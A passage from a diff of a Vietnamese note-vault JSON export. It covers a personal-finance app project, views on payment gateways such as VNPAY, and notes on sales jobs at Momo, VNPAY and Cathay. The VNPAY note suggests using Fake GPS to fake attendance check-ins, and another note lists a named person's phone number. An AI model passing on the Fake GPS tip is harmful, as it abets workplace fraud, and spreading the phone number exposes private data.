chỉ là 1 khâu trong vận hành và người dùng sẽ mong muốn 1 giải pháp tổng thể hơn (nhập hàng – thanh toán cho nhà cung cấp – bán hàng – thu tiền) – và với VNPAY thì chỉ giải quyết được khâu thu tiền \r\n2. Tiền về chậm, tiền không nổi ngay về tài khoản khách hàng (trước đây là T+2, chị không rõ là bây giờ có nhanh hơn không)\r\n3. Chi phí giao dịch phải trả cho VNPAY \r\n----\r\n## View của VNPAY\r\n1. Tại sao họ lại chỉ làm thanh toán: họ cần xây dựng mạng lưới merchant để triển khai các dịch vụ khác (ví điện tử, ….) và end game có thể là cho vay (thông thường sẽ là giải pháp này thì mới kiếm được tiền)\r\nCác cty giải pháp thanh toán thực tế là đang burn tiền để xây dựng 1 văn hóa thanh toán mới trên thị trường, nhưng thực tế thì VIETQR của NAPAS lại đang chiếm vị thế hơn cả vì không mất phí giao dịch, tiền về luôn và quan trọng hơn là NAPAS có hậu thuẫn từ nhà nước. \r\n----\r\n2. Góc nhìn vv cung cấp giải pháp tổng thể ERP: thường thì các công ty làm dịch vụ thanh toán họ sẽ ko nghĩ đến tự build giải pháp ERP, mà xu hướng là tìm partnership ở mảng đó để kết nối. (Ví dụ Momo kết nối với Cukcuk của Misa để liên thông hệ thống thanh toán). Tuy nhiên, việc kết nối hiện tại rất phân mảnh, tùy vào relationship của các bên và còn có yếu tố thượng tầng bên trên liên quan đến lợi ích của nhà đầu tư.\r\n----\r\n## View của nhà điều hành doanh nghiệp\r\n1. Hiện tại không có giải pháp nào tối ưu về toàn bộ khâu từ đầu vào đến đầu ra  Các doanh nghiệp có xu hướng test & learn, đấu nối các giải pháp với nhau để cho hiệu quả tối ưu nhất. Và yếu tố quan trọng nhất là các giải pháp có khả năng Integrate với nhau (cái này đang là rào cản lớn nhất) \r\n----\r\n2. Về giải pháp thanh toán: lựa chọn bên cung cấp với chi phí thấp, tiền về nhanh và có khả năng đối chiếu tự động giữa hóa đơn bán hàng và tiền thu về, tỷ lệ drop các giao dịch thấp để không ảnh hưởng đến trải nghiệm khách hàng, có khả năng tích hợp nhiều hình thức thanh toán (ví điện tử, ngân hàng, thẻ)\r\n----\r\n## GIẢI PHÁP CỦA TRẤN KỲ vv phân loại dòng tiền với doanh nghiệp và cá nhân\r\n- Với doanh nghiệp: Có tiềm năng chạy song song với các hệ thống quản trị hiện tại nếu có thể kết nối được (Ví dụ: từ bảng ghi chép của Trấn Kỳ generate ra bảng thu-chi tiền  Đẩy được vào hệ thống quản lý cửa hàng  đẩy tự động vào hệ thống kế toán)\r\n----\r\n- Với cá nhân: có thể triển khai trước như 1 App quản lý tài chính cá nhân \r\n - Tạo bảng ghi chép tự động các khoản chi tiêu\r\n - AI phân tích chi tiêu hàng tháng  đưa ra các advise về trend chi tiêu, suggestion cho kỳ sau", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-07-28T10:03:00.000Z", "id": "5Z" }, { - "Tiêu đề": "Có GUI", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Giao diện/Có GUI", + "Tiêu đề": "Ý kiến của chị Hoà", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Plugin tích hợp vào các chương trình kế toán/Ý kiến của chị Hoà", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: [[Chương trình ghi chép thu chi cá nhân]], [[Template thu chi trên Excel]], [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "## View người dùng\r\n### Điểm mạnh\r\n1. Giúp đối soát tiền thu với các hóa đơn bán hàng nhanh hơn do qua 1 hệ thống trung gian thanh toán có thể map số bill với tiền về\r\n2. Đẩy mạnh cashless – cái này nhiều doanh nghiệp cũng phát triển\r\n3. Ở giai đoạn đầu VNPAY và các cổng thanh toán burn tiền thì có nhiều khuyến mại\r\n\r\n### Điểm yếu\r\n1. Đúng như em nói, thanh toán chỉ là 1 khâu trong vận hành và người dùng sẽ mong muốn 1 giải pháp tổng thể hơn (nhập hàng – thanh toán cho nhà cung cấp – bán hàng – thu tiền) – và với VNPAY thì chỉ giải quyết được khâu thu tiền \r\n2. Tiền về chậm, tiền không nổi ngay về tài khoản khách hàng (trước đây là T+2, chị không rõ là bây giờ có nhanh hơn không)\r\n3. Chi phí giao dịch phải trả cho VNPAY \r\n\r\n## View của VNPAY\r\n1. Tại sao họ lại chỉ làm thanh toán: họ cần xây dựng mạng lưới merchant để triển khai các dịch vụ khác (ví điện tử, ….) và end game có thể là cho vay (thông thường sẽ là giải pháp này thì mới kiếm được tiền)\r\nCác cty giải pháp thanh toán thực tế là đang burn tiền để xây dựng 1 văn hóa thanh toán mới trên thị trường, nhưng thực tế thì VIETQR của NAPAS lại đang chiếm vị thế hơn cả vì không mất phí giao dịch, tiền về luôn và quan trọng hơn là NAPAS có hậu thuẫn từ nhà nước. \r\n\r\n2. Góc nhìn vv cung cấp giải pháp tổng thể ERP: thường thì các công ty làm dịch vụ thanh toán họ sẽ ko nghĩ đến tự build giải pháp ERP, mà xu hướng là tìm partnership ở mảng đó để kết nối. (Ví dụ Momo kết nối với Cukcuk của Misa để liên thông hệ thống thanh toán). Tuy nhiên, việc kết nối hiện tại rất phân mảnh, tùy vào relationship của các bên và còn có yếu tố thượng tầng bên trên liên quan đến lợi ích của nhà đầu tư.\r\n\r\n## View của nhà điều hành doanh nghiệp\r\n1. Hiện tại không có giải pháp nào tối ưu về toàn bộ khâu từ đầu vào đến đầu ra  Các doanh nghiệp có xu hướng test & learn, đấu nối các giải pháp với nhau để cho hiệu quả tối ưu nhất. Và yếu tố quan trọng nhất là các giải pháp có khả năng Integrate với nhau (cái này đang là rào cản lớn nhất) \r\n\r\n2. Về giải pháp thanh toán: lựa chọn bên cung cấp với chi phí thấp, tiền về nhanh và có khả năng đối chiếu tự động giữa hóa đơn bán hàng và tiền thu về, tỷ lệ drop các giao dịch thấp để không ảnh hưởng đến trải nghiệm khách hàng, có khả năng tích hợp nhiều hình thức thanh toán (ví điện tử, ngân hàng, thẻ)\r\n\r\n## GIẢI PHÁP CỦA TRẤN KỲ vv phân loại dòng tiền với doanh nghiệp và cá nhân\r\n- Với doanh nghiệp: Có tiềm năng chạy song song với các hệ thống quản trị hiện tại nếu có thể kết nối được (Ví dụ: từ bảng ghi chép của Trấn Kỳ generate ra bảng thu-chi tiền  Đẩy được vào hệ thống quản lý cửa hàng  đẩy tự động vào hệ thống kế toán)\r\n\r\n- Với cá nhân: có thể triển khai trước như 1 App quản lý tài chính cá nhân \r\n - Tạo bảng ghi chép tự động các khoản chi tiêu\r\n - AI phân tích chi tiêu hàng tháng  đưa ra các advise về trend chi tiêu, suggestion cho kỳ sau", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T10:03:00.000Z", "id": "5a" }, { - "Tiêu đề": "Dùng được trên CLI", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Giao diện/Dùng được trên CLI", + "Tiêu đề": "Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập liệu được bằng file text]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nĐồng thời có thêm tính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\n\r\nLoại chương trình:: [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "[[Trấn Kỳ (quang cảnh thị trường)|Tính năng của Trấn Kỳ]]: giúp tạo metadata, tự động hoá việc nhập liệu và phân loại, gắn nhãn, để biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ\" \r\nWHERE file.name!=this.file.name\r\nWHERE !contains(file.folder, \"Cũ\" )\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n\r\n## Nơi thảo luận\r\n![](https://i.imgur.com/TDK2yri.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-10-28T15:41:00.000Z", + "Ngày cập nhật": "2024-08-07T08:45:00.000Z", "id": "5b" }, { - "Tiêu đề": "Có người hỗ trợ sâu", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Có người hỗ trợ sâu", + "Tiêu đề": "Tạo cửa hàng", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Tạo cửa hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Tạo cửa hàng", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Lợi ích:\n- Vay CEP\n\n[[3 Ý tưởng|Một số ý tưởng kiếm tiền]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-27T06:32:00.000Z", "id": "5c" }, { - "Tiêu đề": "Game hoá", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Game hoá", + "Tiêu đề": "Cathay", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chính sách công ty/Cathay", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "## Mô tả công việc\n### Làm một lần\n- 3 ngày học \n- 1 buổi thi\n- 3 buổi thực tập\n\nLàm xong được 2tr4\n \n### Làm mỗi ngày\nSáng t2 đến t6, 8h30 đến 11h. Thứ hai và thứ tư có thể ở lại đến 13, 14h chiều.\n- Tham gia học và làm bài tập nếu như sếp tổng có yêu cầu\n- Hưởng ứng các hoạt động của công ty khi đi làm (như tập thể dục nhịp điệu buổi sáng, hát quốc ca :v và hô những câu hơi sáo rỗng, xem như một hoạt động diễn xuất thì thấy vui)\n\nLàm 3 tháng: 10tr/tháng\n\n### Làm mỗi tuần\nSáng t7 có các hoạt động vui chơi dành cho trẻ em, có thể tham gia hoặc không. Hỗ trợ anh chị chuẩn bị mọi thứ và vui chơi cùng mấy bé. Cho làm bánh, làm thủ công, vẽ, v.v. Khá là vui nếu thích con nít.\n\nXem thêm:: [[Học làm đại lý bán bảo hiểm]]\n\n## FAQ\n### 10tr/tháng có nhiều quá không?\nTại vì làm quản lý, không phải làm đại lý.\n\nLiên hệ:: [[Hồng Thị Tuyết Nhi|Hồng Thị Tuyết Nhi – 0336 408 666]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2024-08-27T07:20:00.000Z", + "Ngày cập nhật": "2024-08-28T07:10:00.000Z", "id": "5d" }, { - "Tiêu đề": "Là phần mềm tự do", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Là phần mềm tự do", + "Tiêu đề": "Các công ty trung gian thanh toán", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chính sách công ty/Các công ty trung gian thanh toán", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Dùng được trên CLI]]\r\nĐồng thời có thêm tính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nĐồng thời có thêm tính năng:: [[Miễn phí]]\r\n\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Ngày trả lương cho nhân viên và tiền công cho cộng tác viên đều là vào đầu tháng.\n\n| | Momo | VNPAY | Smartpay | Zalopay | Ecopay |\n| ----------------------------- | ----------------------------- | ---------------------------------- | -------- | ------- | ------ |\n| Có cộng tác viên | ✔ | ❌ | ❌ | ❌ | ❌ |\n| Chỉ tiêu nhân viên hàng tháng | 120 cửa hàng được FO/AI duyệt | | | | |\n| Lương cứng | 8 tr | | | | |\n| Báo cáo cửa hàng tiềm năng | | 10 cửa hàng/ngày trong 30 ngày đầu | | | |\n\n## Momo\nCác cửa hàng được chia thành 3 cấp độ:\n\n| Cấp | Tên gọi | Điều kiện | Tiền công |\n| --- | ------------------- | ------------------------------------------------------------------------------------------------------ | --------- |\n| 1 | Đăng ký | Khách hàng ký + admin duyệt + có gd 50k | 30k |\n| 2 | Hậu kiểm | Nếu cửa hàng nhỏ (VD: xe đẩy) thì FO sẽ tự mình đi kiểm tra, còn cửa hàng cố định thì dùng AI kiểm tra | 40k |\n| 3 | Cửa hàng chất lượng | 5 giao dịch có tổng trên 2tr | 30k |\n\nCTV thì bị trừ 10%. \n[[Khác biệt giữa nhân viên, đại lý, cộng tác viên]]\n\n- ASM bị áp lực phải tuyển mới\n- Một NV mở sai thanh tra toàn bộ nhóm. Một hình phạt tập thể để ngăn việc chạy ảo\n- Sale có 3 tháng đầu để chăm sóc khách hàng, sau đó thì sẽ được bàn giao cho bộ phận chăm sóc khách hàng. Nếu NV nghỉ trước 3 tháng thì hồ sơ sẽ được đưa cho ASM, rồi ASM sẽ đưa lại cho NV khác.\n- Tốt nhất là chuẩn bị hợp đồng từ ngày 25 tháng trước, để đến tháng sau là lên hợp đồng xong thì sẽ có 20 ngày để sử dụng", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-27T07:08:00.000Z", "id": "5e" }, { - "Tiêu đề": "Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người", + "Tiêu đề": "VNPAY", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chính sách công ty/VNPAY", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Lương: 2tr/tháng\n## Mô tả công việc\n### Làm một lần\n- Khám sức khoẻ: 2 tiếng \n- Xác nhận sơ yếu lý lịch trên phường: 15 phút \n- Mở tài khoản ngân hàng Vietinbank: 5 phút \n- Đi phỏng vấn: 1 tiếng \n- Tham gia các buổi đào tạo chung: 3 buổi, mỗi buổi 2 tiếng (1 ngày rưỡi)\n- Lên công ty hướng dẫn thực địa: khoảng 3 buổi trong 3 ngày khác nhau\n- Có đồng phục thì chụp hình chấm công cho cả tháng: 10 phút \n \n### Làm mỗi ngày\n- Gửi hình và vị trí chấm công qua Zalo vào mỗi sáng lúc 8h30: 10 s\n\nCó thể dùng Fake GPS để ở nơi khác vẫn tới vị trí chấm công được.\n\n### Làm mỗi tuần\n- Trả lời tin nhắn: vài phút \n- Họp nhóm trên công ty: 3 tiếng \n\nMỗi sáng t2, t5 các [[ASM]] họp. Lịch họp nhóm thì tuỳ nhóm, thường là chiều t2 hoặc sáng t3\n## Liên kết\n[\\[VNNG\\] Sales Checklist - Google Trang tính](https://docs.google.com/spreadsheets/d/1OYAC1TGoBtUZNt3wjc3KM8yjTNNV-xdlX0TcDIz7BgM/edit#gid=906803463 \"[VNNG] Sales Checklist - Google Trang tính\")\n[\\[MNA - HCM9\\] Tracking BD 2024](https://lookerstudio.google.com/u/0/reporting/69e85f7b-a4cd-4667-92c5-bdc5a866d9a7/page/p_vesr063xed \"[MNA - HCM9] Tracking BD 2024\")\n[\\[MNA - BD\\] KPI REPORT 2024 - Google Trang tính](https://docs.google.com/spreadsheets/d/1tGvz5eMpOUgmeOrcduk5QbPKtxI6oFX4CJFwCHBa6N0/edit?pli=1#gid=864778555 \"[MNA - BD] KPI REPORT 2024 - Google Trang tính\")\n[\\[MNA - HCM9\\] Tracking BD 2024 › VNPAY QR](https://lookerstudio.google.com/u/0/reporting/69e85f7b-a4cd-4667-92c5-bdc5a866d9a7/page/p_vesr063xed?pli=1 \"[MNA - HCM9] Tracking BD 2024 › VNPAY QR\")\n[Cổng Thông Tin - Phòng chống Cheating](https://sites.google.com/vnpay.vn/vnng/vnng-mna/ph%C3%B2ng-ch%E1%BB%91ng-cheating \"Cổng Thông Tin - Phòng chống Cheating\")\n[Sale Portal](https://sp3.vnpay.vn/mobile? \"Sale Portal\")\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2024-08-27T07:25:00.000Z", + "Ngày cập nhật": "2024-08-27T07:39:00.000Z", "id": "5f" }, { - "Tiêu đề": "Trả tiền để làm phân loại", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Trả tiền để làm phân loại", + "Tiêu đề": "Chỉ cần ước lượng đại khái", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách lên kế hoạch sử dụng tiền/Chỉ cần ước lượng đại khái", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng::\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "5g" }, { - "Tiêu đề": "Tạo query phức tạp được", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Tạo query phức tạp được", + "Tiêu đề": "Cần lên kế hoạch từng tuần", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách lên kế hoạch sử dụng tiền/Cần lên kế hoạch từng tuần", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Thêm được nhiều trường phân loại]]\r\nĐồng thời có thêm tính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nĐồng thời có thêm tính năng:: \r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Nhu cầu người dùng:: [[Cần xét cặn kẽ từng hạng mục]]\r\nNhu cầu người dùng:: [[Việc phân loại thủ công là vấn đề lớn]]\r\nTính năng::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "5h" }, { - "Tiêu đề": "Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác", + "Tiêu đề": "Việc phân loại thủ công không phải là vấn đề", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách phân loại/Việc phân loại thủ công không phải là vấn đề", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nĐồng thời có thêm tính năng:: [[Dùng được trên CLI]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Phân loại bằng tay]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -5936,14 +5936,14 @@ "id": "5i" }, { - "Tiêu đề": "Dữ liệu chương trình lưu dưới dạng tập tin", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Dữ liệu chương trình lưu dưới dạng tập tin", + "Tiêu đề": "Việc phân loại thủ công là vấn đề lớn", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách phân loại/Việc phân loại thủ công là vấn đề lớn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Tính năng:: [[Phân loại tự động theo quy luật]], [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -5952,14 +5952,14 @@ "id": "5j" }, { - "Tiêu đề": "Không sao chép được dễ dàng", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Không sao chép được dễ dàng", + "Tiêu đề": "Cần nhập càng nhanh càng tốt", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cần nhập càng nhanh càng tốt", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Nhu cầu người dùng:: [[Cần nhập lúc đi đường]]\r\nTính năng:: [[Nhập liệu được trên Google Keep]], [[Nhập liệu được trên Telegram]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -5968,14 +5968,14 @@ "id": "5k" }, { - "Tiêu đề": "Sao chép kết quả sang chương trình khác được", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Sao chép kết quả sang chương trình khác được", + "Tiêu đề": "Cần nhập lúc đi đường", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cần nhập lúc đi đường", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Nhập được trên điện thoại]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -5984,14 +5984,14 @@ "id": "5l" }, { - "Tiêu đề": "Tích hợp được với ngân hàng", - "URL": 